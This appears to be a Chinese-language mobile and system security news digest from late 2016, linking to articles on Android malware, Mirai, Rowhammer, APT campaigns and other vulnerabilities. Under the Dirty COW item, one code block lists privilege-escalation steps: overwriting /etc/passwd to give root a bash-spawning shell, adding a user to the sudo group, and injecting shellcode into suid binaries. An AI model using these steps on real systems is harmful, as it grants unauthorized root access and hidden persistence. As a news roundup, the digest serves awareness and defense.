- 10.19 [告诉你被盗的iPhone是如何一步步被黑客解锁的](http://bobao.360.cn/news/detail/3670.html)
- 10.19 [攻击 Android OTA(空中下载)技术](https://www.contextis.com/resources/blog/targeting-android-ota-exploitation)
- 10.19 [Sofacy APT组织开发新的Flash漏洞利用框架](http://bobao.360.cn/news/detail/3667.html)
- 10.19 [从漏洞利用工具到零日漏洞:网络黑市大全](http://www.aqniu.com/hack-geek/20369.html)
- 10.19 [“九头虫”病毒技术分析报告](https://jaq.alibaba.com/community/art/show?articleid=563)
“九头虫”病毒利用多家知名root sdk对设备提权,病毒一旦发作,设备将不断弹出广告,并自动下载、安装、启动恶意应用,最终设备衰竭而死,用户很难通过常规的卸载手段清除病毒
相关阅读:[安天AVL联合小米MIUI首擒顽固病毒“不死鸟”](http://blog.avlsec.com/2016/09/3788/fushicho)
- 10.19 [Malware posing as Dual Instance app steals users’Twitter credentials](https://blog.avast.com/malware-posing-as-dual-instance-app-steals-users-twitter-credentials)
恶意软件别名为Dual Instance,可以用来多开。
伪装成官方的Twitter证书,通过VirtualApp运行原始的Twitter,恶意软件在用户设备上启动之前,会先设置一个本地的VPN服务,以保证在中国地区能正常登录。
恶意软件启动后,劫持用户的Twitter登录身份和密码,并将用户的登录凭据上传他们到远程服务器上。
- 10.20 [针对中国 Apple 用户的钓鱼活动再次复活](https://www.fireeye.com/blog/threat-research/2016/10/rotten_apples_resur.html)
- 10.20 [IoT安全系列-如何发现攻击面并进行测试](http://bobao.360.cn/learning/detail/3112.html)
- 10.20 [银行木马(Zeus、Citadel、Rovnix、Vawtrak、Dridex、Tinba、GozNym)是如何逃避恶意软件分析的](https://info.phishlabs.com/blog/how-modern-banking-trojans-obstruct-malware-analysis)
- 10.21 [如何用kwetza给安卓应用加后门](http://www.freebuf.com/articles/terminal/116924.html)
- 10.21 [QQ手机浏览器“虫洞漏洞”挖掘分析全过程](http://appscan.360.cn/blog/?p=165)
- 10.23 [iCloud Attacks Expand](https://www.adaptivemobile.com/blog/icloud-attacks-expand)
针对苹果iCloud账号进行钓鱼诈骗的分析
- 10.23 [Paypal的双因子验证绕过](http://bobao.360.cn/news/detail/3681.html)
- 10.24 [分析感染华硕路由器的P2P僵尸网络程序TheMoon](http://www.freebuf.com/articles/terminal/117437.html)
- 10.24 [Android逃逸技术汇编](http://blogs.360.cn/360mobile/2016/10/24/android_escape)
- 10.24 [Zscaler:iOS应用泄露的用户数据比Android更多](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.dnFdUJ&articleid=570)
- 10.24 [阿里聚安全扫描器之本地拒绝服务检测详解](https://jaq.alibaba.com/community/art/show?articleid=556)
- 10.24 [GM Bot: Alive and Upgraded, Now on Android M](https://securityintelligence.com/gm-bot-alive-upgraded-now-android-m)
银行木马GM Bot的新版本,针对 Android 6,可绕过平台的新安全特性。更新后的GM Bot木马可在安卓全版本运行
- 10.24 [富士康代工的Android手机中惊现“Pork Explosion”漏洞](http://www.freebuf.com/news/116987.html)
- 10.24 新型iPhone漏洞(CVE-2016-4673)
10.24 [Your iPhone Can Get Hacked Just by Opening a JPEG Image, PDF or Font File](http://thehackernews.com/2016/10/how-to-hack-iphone.html)
10.26 [苹果修复恶意JPEG利用漏洞及大量安全漏洞](http://bobao.360.cn/news/detail/3687.html)
- 10.26 [Samsung Pay漏洞深度剖析](http://www.freebuf.com/articles/terminal/117145.html)
- 10.26 [一款开源的后门工具](http://blogs.quickheal.com/security-alert-android-backdoor-device)
- 10.28 [尴尬了,以色列数字取证公司软件遭泄漏](http://www.freebuf.com/news/117914.html)
- 10.28 [阿里一周资讯](https://jaq.alibaba.com/community/art/show?articleid=579)
Mirai僵尸网络、脏牛漏洞、Drammer
- CVE-2016-5195脏牛漏洞
Linux内核通杀提权漏洞;
Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响
```
1)
在/tmp/.pwn写入
\#!/bin/bash
echo MOOOOOOOOOOO
/bin/bash
chmod +x /tmp/.pwn
然后修改/etc/passwd中的shell指向
./dirtyc0w /etc/passwd root:x:0:0:root:/root:/tmp/.pwn
2)
添加用户到sudo组
./dirtyc0w /etc/group "$(sed 's/\(sudo:x:.*:\)/\1test1/g' /etc/group)"
下次管理员再登陆的话 sudo su 不需要密码
3)
将/etc/passwd中的uid位改为0
4)
注入shellcode到suid文件,比如最常见的2个文件
/usr/bin/crontab
/usr/bin/passwd
```
10.21 [CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞](http://bobao.360.cn/learning/detail/3123.html)
10.23 [对CVE-2016-5195脏牛漏洞分析](https://www.martijnlibbrecht.nu/2)
[POC DirtyCow 漏洞(CVE-2016-5195) Android 版本的 PoC](https://github.com/timwr/CVE-2016-5195)
10.24 [利用 Ptrace 和 vDSO 实现提权的 DirtyCow PoC](https://github.com/scumjr/dirtycow-vdso)
10.25 [CentOS 脏牛漏洞补丁已经发布](https://lists.centos.org/pipermail/centos-announce/2016-October/022133.html)
10.27 [CentOS 7发布内核修复补丁 修复“Dirty COW”提权漏洞](https://jaq.alibaba.com/community/art/show?articleid=576)
10.28 [针对android(32位)利用的脏牛漏洞bash脚本](https://gist.github.com/Arinerron/0e99d69d70a778ca13a0087fa6fdfd80)
10.29 [脏牛漏洞影响范围超出想象,以后所有Android手机都能被Root?](http://www.freebuf.com/news/117677.html)
[脏牛漏洞的docker容器逃逸](https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape)
- CVE-2016-6728(Android Rowhammer Exploit)((Drammer)
Drammer利用的是内存芯片设计上的一个缺陷,针对android设备的攻击方式。并且这个问题并不是只出现在Android系统上,而是所有使用内存的系统都会出现这个问题
10.24 [使用Rowhammer bitflips 获取android手机root权限](http://arstechnica.com/security/2016/10/using-rowhammer-bitflips-to-root-android-phones-is-now-a-thing)
Rowhammer攻击指的是在新一代DRAM芯片上反复访问一行内存,而这种操作将有可能造成相邻内存行的数据发生比特翻转,这种攻击技术将允许任何人修改设备内存中保存的数据内容。
10.25 [Drammer:利用“风水逆转”技术Root你的手机](http://www.droidsec.cn/drammer%EF%BC%9A%E5%88%A9%E7%94%A8%E9%A3%8E%E6%B0%B4%E9%80%86%E8%BD%AC%E6%8A%80%E6%9C%AFroot%E4%BD%A0%E7%9A%84%E6%89%8B%E6%9C%BA)
10.26 [通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击](http://weibo.com/ttarticle/p/show?id=2309404034802599739426)
论文及POC [drammer](https://github.com/vusec/drammer)
- 10.27 [Android开启USB调试可以做到什么程度的攻击](http://bobao.360.cn/learning/detail/3130.html)
- 10.27 [The DrK (De-randomizing Kernel ASLR) attack](https://github.com/sslab-gatech/DrK)
一个基于硬件的通杀所有OS的漏洞
- Mirai僵尸网络
北美DNS服务商遭Mirai木马DDoS攻击,美国半个互联网瘫痪
10.13 [Mirai源码分析报告](http://blog.nsfocus.net/mirai-source-analysis-report)
10.22 [DNS服务提供商遭遇几波大规模DDoS攻击,美国半个互联网瘫痪](http://www.freebuf.com/news/117403.html)
10.24 [IoT僵尸网络严重威胁网络基础设施安全 - 北美DNS服务商遭Mirai木马DDoS攻击的分析思考](http://www.antiy.com/response/Mirai/Mirai.html)
10.24 [关于 dyn / twitter 受攻击情况的说明和 mirai 僵尸网络的回顾](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.JjQC75&articleid=568)
10.27 [“红遍全球”的恶意软件Mirai,你所需要知道的那些事](http://www.freebuf.com/news/topnews/117788.html)
10.28 [关于mirai僵尸网络控制主机的数据分析](http://bobao.360.cn/learning/detail/3143.html)
10.28 [Mirai物联网僵尸攻击深度解析](http://www.freebuf.com/articles/terminal/117927.html)
- 10.28 [Global Trends of the ‘Most Wanted’ Malware ](http://blog.checkpoint.com/2016/10/28/global-trends-wanted-malware)
- 10.28 [360大数据:福建、江苏等地身份冒充类电信诈骗最泛滥](http://www.leiphone.com/news/201610/3sLbVwI1vNIC7iOA.html)
- 10.28 [腾讯手机管家查获四款万圣节APP藏毒 盗取用户流量](http://msm.qq.com/security_lab/news_detail_366.html)
包括搞怪相机、万圣节换装狂欢、万圣节装扮、鬼魂相机在内的四款应用均属于恶意软件,被黑客植入广告代码和恶意插件,在联网状态下会自动下载软件,造成手机流量消耗,并带来大量手机垃圾和经济损失
- 10.31 [HackerOne第三季度TOP 5 漏洞报告](http://bobao.360.cn/learning/detail/3147.html)
- 10.31 [卡巴第三季度DDOS报告,攻击增加,并且越来越复杂](https://securelist.com/analysis/quarterly-malware-reports/76464/kaspersky-ddos-intelligence-report-for-q3-2016)
- 10.31 [Top 5 Scariest Malware for Halloween](http://blog.trustlook.com/2016/10/31/top-5-scariest-malware-for-halloween)
- 10.31 [Android木马 GM Bot 持续蔓延,目标瞄准了超过全球 50 家银行](https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide)
- 10.31 [如何利用Rowhammer漏洞Root Android手机(含演示视频+Exploit源码)](http://www.freebuf.com/news/118163.html)
- 10.27 [macOS/iOS mach_ports_register 中的多个安全问题(CVE-2016-4669)](https://bugs.chromium.org/p/project-zero/issues/detail?id=882)
- 10.31 [滥用iOS代码签名欺骗应用程序和绕过隐私保护的Masque攻击](http://blog.trendmicro.com/trendlabs-security-intelligence/ios-masque-attack-spoof-apps-bypass-privacy-protection)
Masque Attack 漏洞曾于2014年出现过,后被修复,针对iOS的Masque Attack威胁依然存在
- 10.31 [一种 Android 系统中断时序分析旁路攻击方法](https://loccs.sjtu.edu.cn//gossip/blog/2016/10/31/2016-10-31)
- 10.31 [中国APT组织莲花(Lotus Blossom)发出钓鱼邀请函,假意邀请目标受害者参加Palo Alto Networks即将召开的网络安全峰会](http://securityaffairs.co/wordpress/52911/cyber-warfare-2/lotus-blossom-campaign.html)
- 0x10
- 11.1 [Trend Micro 回顾了由自家发现的值得关注的13个Android 漏洞](http://blog.trendmicro.com/trendlabs-security-intelligence/security-update-patches-13-android-vulnerabilities-discovered-trend-micro)
- 11.1 [影子经纪人的万圣节礼物:中国成为受NSA攻击最多的国家](http://bobao.360.cn/news/detail/3700.html)
- 11.1 [看完这篇报告,ATM取款机上的指纹识别你还敢用吗](http://www.freebuf.com/articles/paper/116923.html)
- 11.1 [中国最大的Webshell后门箱子调查,所有公开大马全军覆没](http://www.freebuf.com/news/topnews/118424.html)
- 11.1 [一款针对Android设备的假Flash Player通过诱使用户下载来安装可窃取信用卡信息的恶意银行软件](https://threatpost.com/phony-android-flash-player-installs-banking-malware/121696)
恶意软件伪装成Flash Player,安装启动后会通过一个虚假的google play服务页面来请求设备管理员权限。
该恶意软件可以拦截短息及发送短信息,安装后会收集包括IMEI、国家、安卓版本、设备型号、电话号码、安装应用等相关的信息发送到远程控制服务器,并接收相关指令。
- 11.1 [逆向修改 Android 内核绕过反调试](http://www.whitecell-club.org/?p=1442)
- 11.1 [腾讯移动安全实验室2016年第三季度手机安全报告](http://msm.qq.com/security_lab/news_detail_367.html)
- 11.2 [ios测试神器needle使用环境搭建](http://www.freebuf.com/articles/terminal/118021.html)
- 11.2 [普通硬件就能破解GSM A5加密算法](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.bbmL3T&articleid=583)
- 11.2 [MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(CVE-2016-6663 / CVE-2016-5616)](http://bobao.360.cn/learning/detail/3152.html)
- 11.2 [魔绑广告病毒:ROOT控制手机并下载其他病毒](http://slab.qq.com/news/tech/1521.html)
该病毒通过重打包将恶意代码嵌入到一些正规应用中,并通过广告推广,该病毒会尝试ROOT完全控制用户手机,并不断弹出骚扰广告。
魔绑恶意广告病毒还会尝试下载地狱火和伏地虫等恶名昭彰的ROOT病毒,对用户手机安全造成严重威胁。
- 11.2 [Belkin’s WeMo Gear Can Hack Android Phones](https://threatpost.com/belkins-wemo-gear-can-hack-android-phones/121730/)
Belkin 办公自动化系统 WeMo 存在漏洞,攻击者可以控制家庭自动化设备
- 11.3 [骗取天猫7亿积分套现六百万,8人被指控犯诈骗罪](http://www.thepaper.cn/newsDetail_forward_1552051)
- 11.3 [iOS 越狱相关的精华资料收集](https://github.com/zhengmin1989/GreatiOSJailbreakMaterial)
- 11.3 [Android spyware targets business executives](https://www.helpnetsecurity.com/2016/11/03/android-spyware-business-executives)
Android的间谍软件针对企业高管。恶意软件包名为“com.android.protect”,伪装成Google Play Services app.
它能使Samsung’s SPCM服务失效,以此来保持运行,如果能获取root权限,它会将自己安装为系统包来防止被用户移除,后可以隐藏图标。
一旦安装运行,恶意软件会要求设备管理权限,询问进入的证书号,隐藏自己(拨打“11223344”可发现其存在),最后要求root权限(如果设备已被root)。
- 11.3 [Exaspy :针对高级管理人员的Android间谍软件](https://www.skycure.com/blog/exaspy-commodity-android-spyware-targeting-high-level-executives/)
恶意软件包名为“com.android.protect”,伪装成Google Play Services app.它能使Samsung’s SPCM服务失效,以此来保持运行,如果能获取root权限,它会将自己安装为系统包来防止被用户移除,后可以隐藏图标。一旦安装运行,恶意软件会要求设备管理权限,询问进入的证书号,隐藏自己(拨打“11223344”可发现其存在),最后要求root权限(如果设备已被root)。
Known hashes:
- c4826138e07636af1eeb6008e580704575ec1bc7
- 4bf89c3bf4fb88ad6456fe5642868272e4e2f364
- 9725c1bf9483ff41f226f22bd331387c187e9179
- c4826138e07636af1eeb6008e580704575ec1bc7
- f1fbebc2beafe0467ee00e69b3f75719cdbbd693
Package names: com.android.protect
Public key information:
Subject: /O=Exaspy/OU=Exaspy/CN=Exaspy
Fingerprint: c5c82ecf20af94e0f2a19078b790d8434ccedb59
- [iOS应用程序安全审计入门](http://research.aurainfosec.io/ios-application-security-review-methodology/)
- 11.4 [厉害了,word哥!4步轻松绕过PayPal双重验证机制](http://www.freebuf.com/vuls/117648.html)
- [APT 组织以及攻击行动搜索引擎](https://cse.google.com/cse/publicurl?cx=003248445720253387346:turlh5vi4xc)
- 11.4 [Over 1 Billion Mobile App Accounts can be Hijacked Remotely with this Simple Hack](http://thehackernews.com/2016/11/android-oauth-hacking.html)
- 11.4 [一周一讯|多款Samsung Galaxy设备高危安全漏洞曝光、iOS 越狱相关的精华资料收集](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.lmD6hE&articleid=586)
- 11.4 [2016年10月钓鱼网站报告:1.3万例银行还是重灾区](http://www.aqniu.com/industry/20759.html)
- 11.4 [GitLab未授权访问漏洞可导致远程命令执行](http://www.freebuf.com/vuls/119055.html)
- 11.6 [Appie:便携式Android渗透测试工具包](http://www.mottoin.com/91363.html)
- 11.6 [小心手机被物联网设备入侵!](http://sec.chinabyte.com/444/13953444.shtml)
- 11.7 [Android N限制重置密码以遏制勒索软件](http://blogs.360.cn/360mobile/2016/11/07/android_nougat_against_ransomware)
- 11.7 [Gmail 帐户劫持漏洞](http://blog.securityfuse.com/2016/11/gmail-account-hijacking-vulnerability.html)
- 11.7 [OAuth 2.0协议使用不当导致数十亿APP账户可被远程劫持](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.Y66OkN&articleid=589)
- 11.7 [更便捷的中间人攻击框架Xerosploit](http://www.freebuf.com/sectool/118574.html)
- 11.7 [Andriod 重打包检测框架 WuKong ](https://loccs.sjtu.edu.cn//gossip/blog/2016/11/07/2016-11-07/)
- 11.7 [人大刚刚通过的《网络安全法》都有哪些看点](http://www.freebuf.com/news/119207.html)
- 11.7 [Android"挂逼"修炼之行—微信摇骰子和猜拳作弊器原理解析](http://mp.weixin.qq.com/s?__biz=MzIzNDA3MDgwNA==&mid=2649230159&idx=1&sn=ba1c5e1b9aa70e90577bb75ed2a04b04&chksm=f0e75d34c790d42233e2355eb299005df96e14e7bad3704c04f61f9c78e4aa1c063d274420cc&scene=0#wechat_redirect)
- SVPENG ANDROID银行木马
11.7 [Trojan-Banker.AndroidOS.Svpeng木马攻击分析 ](https://securelist.com/blog/research/76286/disassembling-a-mobile-trojan-attack)
11.8 [SVPENG ANDROID银行木马通过Chrome Bug来扩散 ](http://bestsecuritysearch.com/svpeng-android-banking-trojan-delivered-via-google-chrome-bug)
- 11.8 [席卷全球的“霸屏”病毒:技术分析与处理](http://www.freebuf.com/articles/terminal/118773.html)
- 11.8 [iOS WebView 自动拨号漏洞](https://www.mulliner.org/blog/blosxom.cgi/security/ios_webview_auto_dialer.html)
11.8 [【技术分享】iOS WebView自动拨号漏洞(含演示视频)](http://bobao.360.cn/learning/detail/3177.html)
- 11.8 [Mac OSX系统下的渗透利用工具Empyre](http://www.freebuf.com/sectool/118715.html)
- 11.8 [Mirai僵尸网络的战火还在弥漫,利比亚已经沦陷!](http://bobao.360.cn/news/detail/3724.html)
- 11.9 [针对白俄罗斯军事通讯社的APT样本分析](http://www.freebuf.com/articles/network/119137.html)
- 11.9 [Spam and phishing in Q3 2016](https://securelist.com/analysis/quarterly-spam-reports/76570/spam-and-phishing-in-q3-2016)
- 11.9 [针对ATM机的渗透测试](http://bobao.360.cn/learning/detail/3171.html)
- 11.9 [Mobile Pwn2Own 2016 上攻破 Android N的DEMO 视频,来自腾讯科恩实验室](https://www.youtube.com/watch?v=zcVsyA4Imys&feature=youtu.be)
- 11.9 [Analysis of iOS.GuiInject Adware Library](https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library)
- 11.10 [黑客炼金术士 Seeker:可以攻破 4G 摸到你短信,还要为朝阳群众提供谍战工具](http://mp.weixin.qq.com/s?__biz=MzA4ODUxNjIwMg==&mid=2654323727&idx=1&sn=ea96b6f3935d8d2720ff413943af9367&chksm=8be9970abc9e1e1c3df7312a82e30b2a4554be6e3258a66eb300ed6a2dfee985e4d5c2168b20&mpshare=1&scene=2&srcid=1110scyGRL4q3Bnftk0qfvCo&from=timeline#rd)
- 11.10 [Trick蠕虫病毒来袭,幕后主使竟是一名高中生](http://www.freebuf.com/articles/terminal/119056.html)
该病毒伪装成中国移动,以免费获取话费的短信诱惑用户下载安装。运行后窃取用户短信,锁定手机进行勒索,并向所有联系人群发附带恶意下载链接的钓鱼短信。一旦用户卸载此恶意软件,该病毒会直接锁定用户手机并进行勒索
- 11.10 [Nathan:Android安全测试模拟器](http://www.mottoin.com/91660.html) - 11.10 [通过WiFi信号来推断您的手机密码](https://blog.acolyer.org/2016/11/10/when-csi-meets-public-wifi-inferring-your-mobile-phone-password-via-wifi-signals)
- 11.10 [Doctor Web registers more than one million downloads of Android Trojan from Google Play](http://news.drweb.com/show/?i=10299&lng=en&c=5)
- 11.10 [傲游浏览器 Android 版本下存在任意文件写入、登陆页面 UXSS 及 SQL 注入漏洞](http://d3adend.org/blog/?p=851)
- 11.11 [飞龙之眼:维吾尔主题相关网络攻击活动调查](http://www.freebuf.com/articles/paper/119218.html)
- 11.11 [俄罗斯五家大型银行遭受30个国家的DDoS攻击](https://www.easyaq.com/newsdetail/id/1291166674.shtml)
- 11.11 [Dangerous Virus Is Spying on Almost All Popular Social APPs](http://www.cmcm.com/blog/en/security/2016-11-11/1033.html)
监视热门社交APP的危险病毒Onespy,Onespy运行后会申请设备管理权限,监控用户位置,窃取用户短信息,同时窃取用户社交软件中的聊天记录。
热门社交软件包括Facebook, Twitter, Whatsapp, Skype, Line, Gmail, BBM, Viber等
- 11.12 [黑客告诉你:搞定整座城市的公共WiFi是多么容易](http://www.aqniu.com/news-views/20945.html)
- 11.13 [当人工智能应用于黑色产业](http://www.freebuf.com/news/118642.html)
- 11.14 [2016年3例严重工控安全事故经验教训总结](http://www.freebuf.com/news/118984.html)
2016年8月,Operation GHOUL(食尸鬼)行动,攻击中东和其它国家的工控组织;
2015年12月23日,BLACKENERGY(黑暗力量)攻击导致的断电事故,攻击乌克兰电力供应商
2016年3月24日,伊朗黑客攻击美国大坝事件,攻击纽约鲍曼水坝的一个小型防洪控制系统
- 11.14 [HackingTeam back for your Androids, now extra insecure!](http://rednaga.io/2016/11/14/hackingteam_back_for_your_androids)
- 11.14 [Kaspersky Lab Black Friday Threat Overview 2016](https://securelist.com/analysis/publications/76615/kaspersky-lab-black-friday-threat-overview-2016/)
报告 KASPERSKY-LAB-BLACK-FRIDAY-THREAT-OVERVIEW-2016.pdf
- 11.15 [值得收藏!国外最佳互联网安全博客TOP 30](https://jaq.alibaba.com/community/art/show?articleid=601)
- 11.15 [中国再次发现来自海外的黑客攻击:蔓灵花攻击行动](http://bobao.360.cn/news/detail/3747.html)
一个针对中国政府机构和能源行业发起APT攻击的海外黑客组织,该黑客组织与此前披露的摩诃草APT组织类似,同样以中国和巴基斯坦作为攻击目标,意在窃取情报
- 11.15 [瑞星:手机病毒新变种 化身“中国移动”盗隐私](http://it.rising.com.cn/dongtai/18539.html)
该病毒伪装成“中国移动”官方APP软件,诱导用户下载安装,一旦用户安装,会自动发送一条受害用户的基本信息到病毒作者手机上,同时还会上传受害者手机通讯录、短信等内容到病毒作者的邮箱,给用户造成严重的隐私泄露
- 11.15 [Banking Trojan Targets German Financial Institutions](http://blog.trustlook.com/2016/11/15/banking-trojan-targets-german-financial-institutions)
恶意软件通过钓鱼邮件或者短信中的链接传播,或者是钓鱼页面。仿冒邮件应用,使用相似的图标,启动后设法获取设备管理权限,隐藏图标,在后台偷偷运行。
- 11.15 [魔波广告恶意病毒简析](http://slab.qq.com/news/tech/1526.html)
该病毒通过仿冒浏览器,播放器和一些游戏等进行传播,一旦用户手机不慎被感染,该病毒将立即下载提权文件来获取root权限,频繁推送广告,监控用户短信记录,私自发送扣费短信,注入大量恶意文件到手机系统用于守护病毒,防止病毒被卸载。
- 11.16 [Kaspersky 发布 2017 年威胁预测报告](https://securelist.com/analysis/kaspersky-security-bulletin/76660/kaspersky-security-bulletin-predictions-for-2017)
- 11.16 [美国部分Android手机竟将用户隐私数据回传至上海服务器!](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.K4Wu8I&articleid=602)
- 11.16 [iOS WebView远程拒绝服务漏洞(含支付宝演示视频)](http://bobao.360.cn/learning/detail/3196.html)
- 11.17 [工信部公布29款问题手机App:极速WiFi万能钥匙上榜](http://www.cnbeta.com/articles/558859.htm)
- 11.17 [你的iPhone也出现“澳门赌场”日历推送了吗?分析邪恶的“苹果日历推”产业链](http://www.freebuf.com/articles/terminal/120036.html)
- 11.17 [iOS锁屏绕过漏洞:无需密码即可访问你的 iPhone 照片或消息(含演示视频)](http://bobao.360.cn/news/detail/3758.html)
- 11.17 [Linux爆新漏洞,长按回车键70秒即可获得root权限](http://www.freebuf.com/articles/system/120280.html)
- 11.17 [800万GitHub配置文件从GeekedIn的MongoDB泄漏](https://www.troyhunt.com/8-million-github-profiles-were-leaked-from-geekedins-mongodb-heres-how-to-see-yours)
- 11.21 [广升事件后另一家中国公司被发现在Android固件中植入后门](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.VPewDW&articleid=611)
- 11.21 [调查发现三款移动应用曝光了30亿电话号码](http://www.solidot.org/story?sid=50450)
美国Cheetah Mobile 开发的CM Security、瑞典True Software Scandinavia AB开发的Truecaller和以色列公司Sync.ME.LTD开发的Sync.ME。
Truecaller的数据库包含了超过30亿电话号码,该公司已经与华为达成了协议,其应用预装在华为荣耀8智能手机上
- 11.23 [最新骗局警示:银行短信提醒系统漏洞正在被骗子利用!](http://mp.weixin.qq.com/s/SGTObqvMmHfSd8_EprpByw)
- 11.25 [蝗虫般的刷客大军:手握千万手机号 分秒间薅干一家平台](http://www.cnbeta.com/articles/561345.htm)
- 11.17 [即使你的iCloud备份关闭了,iPhone还是会偷偷发送你的通话记录历史到Apple](http://thehackernews.com/2016/11/icloud-backup.html)
- 11.18 针对德国银行的Android病毒
11.18 [Android Banking Malware Masquerading as Email App Targets German Banks](https://blog.fortinet.com/2016/11/18/android-banking-malware-masquerading-as-email-app-targets-german-banks)
11.18 [Android Malware Masquerades as Banking App, Part II](https://blog.fortinet.com/2016/11/18/android-malware-masquerades-as-banking-app-part-ii)
- 11.18 [安卓银行恶意软件可自行列入白名单以与网络攻击者保持通讯](https://www.symantec.com/connect/node/3636171)
[原版分析](http://blog.anubisnetworks.com/blog/ragentek-android-ota-update-mechanism-vulnerable-to-mitm-attack)
网络攻击者对Android.Fakebank.B变体进行了升级,使其能够绕过Doze电池节能程序。
这些恶意软件变体会展示一条弹出信息,要求用户将其加入电池优化额外情况白名单之中。
如果此方法生效,则即使设备处于休眠状态,恶意软件也能够与命令和控制服务器保持通讯。
- 11.19 [不仅可看照片和短信,利用 iOS 漏洞无需密码还能打电话、发短信!](http://www.leiphone.com/news/201611/sLHQd7aJeSUm2Grf.html)
- 11.19 [华为碾压高通 拿下5G时代](http://tech.feng.com/2016-11-19/Blockbuster-_662414.shtml)
- 11.20 [cve-search:用于搜索本地已知漏洞的数据库](https://github.com/cve-search/cve-search)
- 11.21 [Android malware analysis with Radare: Dissecting the Triada Trojan](https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan)
[利用Radare分析Android 恶意软件](http://bobao.360.cn/learning/detail/3220.html)
- 11.21 [闲聊阿里加固(一)](https://jaq.alibaba.com/community/art/show?articleid=600)
- 11.22 [针对台湾政府能源公司的Tropic Trooper APT组织,来自paloaltonetworks的技术分析](http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy)
- 11.22 [Mac上恶意软件的总览](https://blog.malwarebytes.com/threat-analysis/social-engineering-threat-analysis/2016/11/an-overview-of-malvertising-on-the-mac/)
- 11.22 [关于“魅魔”漏洞情况的通报](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.SaIuh8&articleid=614)
蚂蚁金服巴斯光年安全实验室关于广升FOTA系统升级服务存在命令执行漏洞(CNNVD-201611-438)的情况报送
- 11.23 [Never judge a book by its cover](http://blog.koodous.com/2016/11/never-judge-book-by-its-cover.html)
一个学习C++的应用(Learn C++),一个银行应用(ITS Mobile Banking),看似无害,实则藏有危险模块。
- 11.23 [2016诈骗电话态势与特征分析报告](http://zt.360.cn/1101061855.php?dtid=1101061451&did=490128106)
- 11.23 [MobSF:自动化移动安全测试框架](http://www.mottoin.com/92477.html)
- 11.23 [iOS又曝新漏洞,播放特定视频导致自动关机(含演示视频)](http://bobao.360.cn/news/detail/3774.html)
- 11.23 [MacOS安全:通过email稳定控制Mac总结](http://bobao.360.cn/learning/detail/3210.html)
- 11.23 [暗网50%以上的数据都是合法的!包括7%的色情网站 ](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.SaIuh8&articleid=618)
- 11.23 [亚欧14国ATM机被攻击自动吐钱,或与东欧黑客团体有关](http://www.leiphone.com/news/201611/Bzr705JKLmjUrbjv.html)
- 11.23 [全球HTTPS时代已来,你跟上了吗?](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.21000000.1.bVa6LN&articleid=621)
- 11.24 [那些年,我们一起玩过的后门](http://bobao.360.cn/learning/detail/3218.html)
- 11.25 [在HTTPS安全页面中加载HTTP不安全的内容,如何绕过安全警告?](http://www.freebuf.com/news/120281.html)
- 11.25 [互联网业务安全背后的黑灰产业链故事](http://www.leiphone.com/news/201611/CxCTJgpqkWEvZXz3.html)
- 11.25 [Zigbee 安全与 IoT 设备漏洞利用](http://www.mottoin.com/92660.html)
- 11.25 [我是如何绕过apple激活锁的](http://www.hemanthjoseph.com/2016/11/how-i-bypassed-apples-most-secure-find.html?)
- 11.26 [转发http/s流量到代理的开源项目](http://bobao.360.cn/news/detail/3783.html)
- 11.27 [Linux提权的4种方式](http://www.hackingarticles.in/4-ways-get-linux-privilege-escalation/)
- 11.27 [Mirai感染监控摄像头过程观察,几十秒就完成感染](http://www.freebuf.com/news/120544.html)
- 11.28 [如何在Android平台上实现确定性rowhammer攻击](http://securitygossip.com/blog/2016/11/28/2016-11-28)
- 11.28 [带你开发一款给Apk中自动注入代码工具icodetools(开凿篇)](http://mp.weixin.qq.com/s/W76CN-MyopWXlgn4otTSmg)
- 11.29 [Uber修复三个漏洞,白帽子获数千美金奖励(含漏洞分析)](http://www.freebuf.com/news/121345.html)
- 11.29 [迈克菲发布2017年14个信息安全发展趋势](http://bobao.360.cn/news/detail/3788.html)
- 11.29 [报告精读 | 网络空间安全蓝皮书:中国网络空间安全发展报告(2016)](http://mp.weixin.qq.com/s?__biz=MzA3OTA3NDkyNw==&mid=2653171023&idx=1&sn=d5721c33b9d6a4114c3dd0c033c33df7&chksm=84698e4fb31e0759ef220b21011a7c8d394fc63309bde44731bce4ef6230ec8a736a3a8e8f20&mpshare=1&scene=24&srcid=1130CIeqhSbOAk1q30hvuOqv#rd)
- 11.29 [iPhone 播放视频自动关机“奇葩”漏洞成因分析](http://bobao.360.cn/learning/detail/3234.html)
播放含有畸形数据的样本视频,会造成 iOS 内核中负责视频解码的模块进入死循环,进而引起内核 WatchDog 超时,造成内核重启
- 11.29 [神级脚本大集合之PowerShell-Suite](http://www.freebuf.com/sectool/120675.html)
- 11.29 [如何使用WLAN的SSID提取用户的凭证数据](http://www.freebuf.com/sectool/120950.html)
- 11.29 [以色列凭什么成为全球监控技术的中心?](http://www.freebuf.com/special/120592.html)
- 11.29 mirai僵尸网络新变种
11.29 [德国电信断网:mirai僵尸网络的新变种和旧主控](http://blog.netlab.360.com/a-mirai-botnet-evolvement-new-variant-and-old-c2)
11.29 [又一起断网事件!路由器高危漏洞致德国百万用户断网](https://jaq.alibaba.com/community/art/show?articleid=631)
- 11.30 [Three roads lead to Rome](http://bobao.360.cn/learning/detail/3237.html)
Vulcan的Edge exp已发布,应该是首个公开的针对Edge的完整漏洞和利用技术详解
